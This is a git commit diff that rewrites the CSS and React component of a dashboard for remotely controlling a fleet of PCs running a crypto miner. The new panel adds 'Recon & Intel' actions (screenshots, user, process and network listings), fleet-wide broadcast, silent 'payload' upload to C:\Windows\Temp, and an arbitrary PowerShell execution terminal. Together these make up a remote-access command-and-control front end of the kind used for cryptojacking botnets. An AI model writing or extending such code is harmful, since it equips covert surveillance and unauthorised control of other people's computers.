Add tactical fleet remote actions and agent command channel.

Extend remote commands with exec, PowerShell, file transfer, and fleet-wide broadcast; refresh AgentRemoteActions UI and WebSocket handling.
This commit is contained in:
drjones
2026-05-27 21:24:57 -07:00
parent b10d353a8b
commit 830c755235
6 changed files with 477 additions and 234 deletions

View File

@@ -1,49 +1,174 @@
.agent-remote.compact {
margin-top: 0.65rem;
padding-top: 0.65rem;
border-top: 1px solid rgba(0, 245, 255, 0.12);
.tactical-panel {
background: #08080b;
border: 1px solid rgba(0, 229, 255, 0.2);
border-radius: 8px;
padding: 20px;
color: #e0e0e0;
font-family: 'Inter', system-ui, sans-serif;
box-shadow: 0 0 20px rgba(0, 0, 0, 0.8), inset 0 0 20px rgba(0, 229, 255, 0.05);
}
.agent-remote-row {
.tactical-header {
margin-bottom: 20px;
border-bottom: 1px solid rgba(255, 255, 255, 0.1);
padding-bottom: 10px;
}
.target-indicator {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
align-items: center;
gap: 12px;
}
.agent-action-btn.warn {
border-color: rgba(255, 176, 32, 0.5);
background: rgba(255, 176, 32, 0.12);
.target-indicator h2 {
margin: 0;
font-size: 1.2rem;
letter-spacing: 1px;
color: #fff;
}
.agent-action-btn.warn:hover {
background: rgba(255, 176, 32, 0.22);
.status-dot {
width: 12px;
height: 12px;
border-radius: 50%;
}
.agent-action-btn:disabled {
opacity: 0.45;
cursor: not-allowed;
.agent-glow { background: #00e5ff; box-shadow: 0 0 10px #00e5ff, 0 0 20px #00e5ff; }
.fleet-glow { background: #ff00ff; box-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff; }
.tactical-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 20px;
margin-bottom: 20px;
}
.agent-remote-feedback {
margin: 0.5rem 0 0;
font-size: 0.78rem;
.action-group {
background: #0d0d14;
border: 1px solid rgba(255, 255, 255, 0.05);
border-radius: 6px;
padding: 15px;
}
.agent-remote-feedback.ok {
color: var(--neon-green);
.action-group h3 {
margin: 0 0 15px 0;
font-size: 0.9rem;
color: #888;
text-transform: uppercase;
letter-spacing: 1px;
}
.agent-remote-feedback.bad {
color: #ff3c50;
.button-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 10px;
}
.agent-list-actions {
.button-grid button {
background: rgba(255, 255, 255, 0.05);
border: 1px solid rgba(255, 255, 255, 0.1);
color: #ccc;
padding: 8px;
border-radius: 4px;
cursor: pointer;
font-size: 0.85rem;
transition: all 0.2s;
}
.button-grid button:hover {
background: rgba(187, 134, 252, 0.1);
border-color: rgba(187, 134, 252, 0.5);
color: #fff;
box-shadow: 0 0 10px rgba(187, 134, 252, 0.2);
}
.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: #00e5ff; }
.button-grid button.btn-cyan:hover { background: rgba(0, 229, 255, 0.1); box-shadow: 0 0 15px rgba(0, 229, 255, 0.4); }
.button-grid button.btn-amber { border-color: rgba(255, 171, 0, 0.3); color: #ffab00; }
.button-grid button.btn-amber:hover { background: rgba(255, 171, 0, 0.1); box-shadow: 0 0 15px rgba(255, 171, 0, 0.4); }
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
.screenshot-viewer {
margin-bottom: 20px;
border: 1px solid #00e5ff;
border-radius: 6px;
overflow: hidden;
box-shadow: 0 0 20px rgba(0, 229, 255, 0.2);
}
.viewer-header {
background: #003344;
padding: 8px 15px;
display: flex;
gap: 0.35rem;
margin-top: 0.5rem;
justify-content: space-between;
align-items: center;
font-weight: bold;
color: #00e5ff;
}
.agent-list-actions .agent-action-btn {
padding: 0.25rem 0.5rem;
font-size: 0.68rem;
.viewer-header button {
background: none; border: none; color: #fff; cursor: pointer; font-size: 1.2rem;
}
.screenshot-viewer img {
width: 100%;
display: block;
}
.tactical-bottom-row {
display: flex;
gap: 20px;
height: 250px;
}
.drop-zone {
flex: 1;
border: 2px dashed rgba(255, 0, 255, 0.3);
border-radius: 6px;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
background: rgba(255, 0, 255, 0.02);
transition: all 0.3s;
}
.drop-zone.dragging {
border-color: #ff00ff;
background: rgba(255, 0, 255, 0.1);
box-shadow: 0 0 20px rgba(255, 0, 255, 0.3);
}
.drop-icon { font-size: 2rem; margin-bottom: 10px; }
.drop-zone p { margin: 0; color: #ff00ff; font-weight: bold; }
.drop-zone small { color: #888; margin-top: 5px; }
.master-terminal {
flex: 2;
background: #000;
border: 1px solid #333;
border-radius: 6px;
display: flex;
flex-direction: column;
font-family: 'Consolas', 'Courier New', monospace;
}
.terminal-output {
flex: 1;
padding: 10px;
overflow-y: auto;
color: #00ff00;
font-size: 0.85rem;
white-space: pre-wrap;
}
.terminal-placeholder { color: #555; font-style: italic; }
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }

View File

@@ -1,119 +1,173 @@
import { useState, useCallback } from 'react';
import React, { useState, useRef, useEffect } from 'react';
import { api } from '../../api/client';
import type { Agent } from '../../types';
import './AgentRemoteActions.css';
type AgentCommandAction = 'pause' | 'resume' | 'restart' | 'stop' | 'uninstall' | 'get_log';
interface Props {
agent: Agent;
compact?: boolean;
onCommandSent?: (action: string, message: string) => void;
agentId: string;
agentName: string;
// Pass your live websocket messages here to capture screenshots and command output!
latestWsMessage?: any;
}
function useAgentCommand() {
const [busy, setBusy] = useState<string | null>(null);
const [feedback, setFeedback] = useState<{ agentId: string; message: string; ok: boolean } | null>(null);
export default function AgentRemoteActions({ agentId, agentName, latestWsMessage }: Props) {
const [isDragging, setIsDragging] = useState(false);
const [customCmd, setCustomCmd] = useState('');
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const logEndRef = useRef<HTMLDivElement>(null);
const runCommand = useCallback(async (agent: Agent, action: AgentCommandAction) => {
if (agent.status !== 'online') {
setFeedback({ agentId: agent.id, message: 'Agent is offline', ok: false });
return;
}
const addLog = (msg: string) => {
setTerminalLog(prev => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
};
if (action === 'stop') {
if (!confirm(`Stop miner on "${agent.name}"?\n\nMining halts and the process exits. It will restart if persistence is enabled.`)) {
return;
}
}
if (action === 'uninstall') {
if (!confirm(`Uninstall miner from "${agent.name}"?\n\nRemoves the process, persistence, scheduled task, and install folder from that PC.`)) {
return;
// Auto-scroll terminal
useEffect(() => {
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
}, [terminalLog]);
// Intercept WebSocket results
useEffect(() => {
if (!latestWsMessage) return;
if (latestWsMessage.type === 'command_result') {
const { agent_id, action, success, message } = latestWsMessage.payload;
if (agentId !== 'all' && agent_id !== agentId) return; // Ignore other agents if focused
if (action === 'screenshot' && success) {
setScreenshotData(`data:image/jpeg;base64,${message}`);
addLog(`📷 Screenshot received from ${agent_id}`);
} else {
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'} \n${message}`);
}
}
}, [latestWsMessage, agentId]);
setBusy(`${agent.id}:${action}`);
setFeedback(null);
const dispatch = async (action: string, args: Record<string, any> = {}) => {
try {
await api.sendAgentCommand(agent.id, action);
const msg =
action === 'stop' ? 'Stop command sent — miner shutting down…' :
action === 'uninstall' ? 'Uninstall sent — removing miner from machine…' :
`${action} command sent`;
setFeedback({ agentId: agent.id, message: msg, ok: true });
return msg;
} catch (err) {
const message = err instanceof Error ? err.message : 'Command failed';
setFeedback({ agentId: agent.id, message, ok: false });
throw err;
} finally {
setBusy(null);
}
}, []);
return { runCommand, busy, feedback, setFeedback };
}
export default function AgentRemoteActions({ agent, compact = false, onCommandSent }: Props) {
const { runCommand, busy, feedback } = useAgentCommand();
const online = agent.status === 'online';
const isBusy = busy?.startsWith(`${agent.id}:`);
const send = async (action: AgentCommandAction) => {
try {
const msg = await runCommand(agent, action);
if (msg && onCommandSent) onCommandSent(action, msg);
} catch {
/* feedback set in hook */
addLog(`> Executing ${action}...`);
await api.sendAgentCommand(agentId, action, args);
} catch (err: any) {
addLog(`❌ API Error: ${err.message}`);
}
};
const localFeedback = feedback?.agentId === agent.id ? feedback : null;
// Drag and Drop Handlers
const handleDragOver = (e: React.DragEvent) => { e.preventDefault(); setIsDragging(true); };
const handleDragLeave = () => setIsDragging(false);
const handleDrop = (e: React.DragEvent) => {
e.preventDefault();
setIsDragging(false);
const file = e.dataTransfer.files[0];
if (!file) return;
if (compact) {
return (
<div className="agent-remote compact">
<div className="agent-remote-row">
<button
type="button"
className="agent-action-btn warn"
disabled={!online || isBusy}
onClick={() => send('stop')}
title="Stop mining process on this PC"
>
Stop
</button>
<button
type="button"
className="agent-action-btn danger"
disabled={!online || isBusy}
onClick={() => send('uninstall')}
title="Remove miner completely from this PC"
>
Uninstall
</button>
</div>
{localFeedback && (
<p className={`agent-remote-feedback ${localFeedback.ok ? 'ok' : 'bad'}`}>{localFeedback.message}</p>
)}
</div>
);
}
const reader = new FileReader();
reader.onload = async (evt) => {
const base64 = (evt.target?.result as string).split(',')[1];
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
addLog(`> Uploading ${file.name} to ${targetPath}...`);
await dispatch('upload', { path: targetPath, data: base64 });
};
reader.readAsDataURL(file);
};
const runCustomCommand = (e: React.FormEvent) => {
e.preventDefault();
if (!customCmd.trim()) return;
dispatch('powershell', { command: customCmd });
setCustomCmd('');
};
const isFleet = agentId === 'all';
return (
<div className="agent-remote">
<p className="form-hint">Control this node from the dashboard no RDP needed. Agent must be online.</p>
<div className="agent-actions">
<button type="button" className="agent-action-btn" disabled={!online || isBusy} onClick={() => send('pause')}>Pause mining</button>
<button type="button" className="agent-action-btn" disabled={!online || isBusy} onClick={() => send('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!online || isBusy} onClick={() => send('stop')}>Stop miner</button>
<button type="button" className="agent-action-btn" disabled={!online || isBusy} onClick={() => send('restart')}>Restart</button>
<button type="button" className="agent-action-btn" disabled={!online || isBusy} onClick={() => send('get_log')}>Fetch log</button>
<button type="button" className="agent-action-btn danger" disabled={!online || isBusy} onClick={() => send('uninstall')}>Uninstall from PC</button>
<div className="tactical-panel">
<div className="tactical-header">
<div className="target-indicator">
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`}></div>
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
</div>
</div>
{localFeedback && (
<p className={`agent-remote-feedback ${localFeedback.ok ? 'ok' : 'bad'}`}>{localFeedback.message}</p>
<div className="tactical-grid">
{/* Reconnaissance Group */}
<div className="action-group recon-group">
<h3>👁 Recon & Intel</h3>
<div className="button-grid">
<button onClick={() => dispatch('screenshot')}>Screenshot</button>
<button onClick={() => dispatch('ps')}>Process List</button>
<button onClick={() => dispatch('sysinfo')}>System Info</button>
<button onClick={() => dispatch('netstat')}>Net Connections</button>
<button onClick={() => dispatch('users')}>List Users</button>
<button onClick={() => dispatch('software')}>Installed Software</button>
</div>
</div>
{/* Mining Controls */}
<div className="action-group mining-group">
<h3> Mining Controls</h3>
<div className="button-grid">
<button className="btn-cyan" onClick={() => dispatch('resume')}> Resume</button>
<button className="btn-amber" onClick={() => dispatch('pause')}> Pause</button>
</div>
</div>
{/* Power Controls */}
<div className="action-group power-group">
<h3> System Power</h3>
<div className="button-grid">
<button className="btn-amber" onClick={() => dispatch('restart')}>Restart Agent</button>
<button className="btn-red" onClick={() => { if(window.confirm('Kill agent process?')) dispatch('stop'); }}>Kill Process</button>
<button className="btn-red" onClick={() => { if(window.confirm('Delete and remove persistence?')) dispatch('uninstall'); }}>Uninstall</button>
</div>
</div>
</div>
{/* Visual Render Zone (Screenshots) */}
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">
<span>Latest Capture</span>
<button onClick={() => setScreenshotData(null)}></button>
</div>
<img src={screenshotData} alt="Target Desktop" />
</div>
)}
<div className="tactical-bottom-row">
{/* Drag & Drop Upload Zone */}
<div
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
onDragOver={handleDragOver}
onDragLeave={handleDragLeave}
onDrop={handleDrop}
>
<span className="drop-icon">📥</span>
<p>Drag & Drop payload here</p>
<small>Silently uploads to C:\Windows\Temp\</small>
</div>
{/* Master Terminal */}
<div className="master-terminal">
<div className="terminal-output">
{terminalLog.length === 0 ? (
<span className="terminal-placeholder">Awaiting telemetry...</span>
) : (
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
)}
<div ref={logEndRef} />
</div>
<form className="terminal-input-bar" onSubmit={runCustomCommand}>
<span className="prompt">PS&gt;</span>
<input
type="text"
value={customCmd}
onChange={e => setCustomCmd(e.target.value)}
placeholder="Enter PowerShell command..."
autoComplete="off"
/>
<button type="submit">EXEC</button>
</form>
</div>
</div>
</div>
);
}
}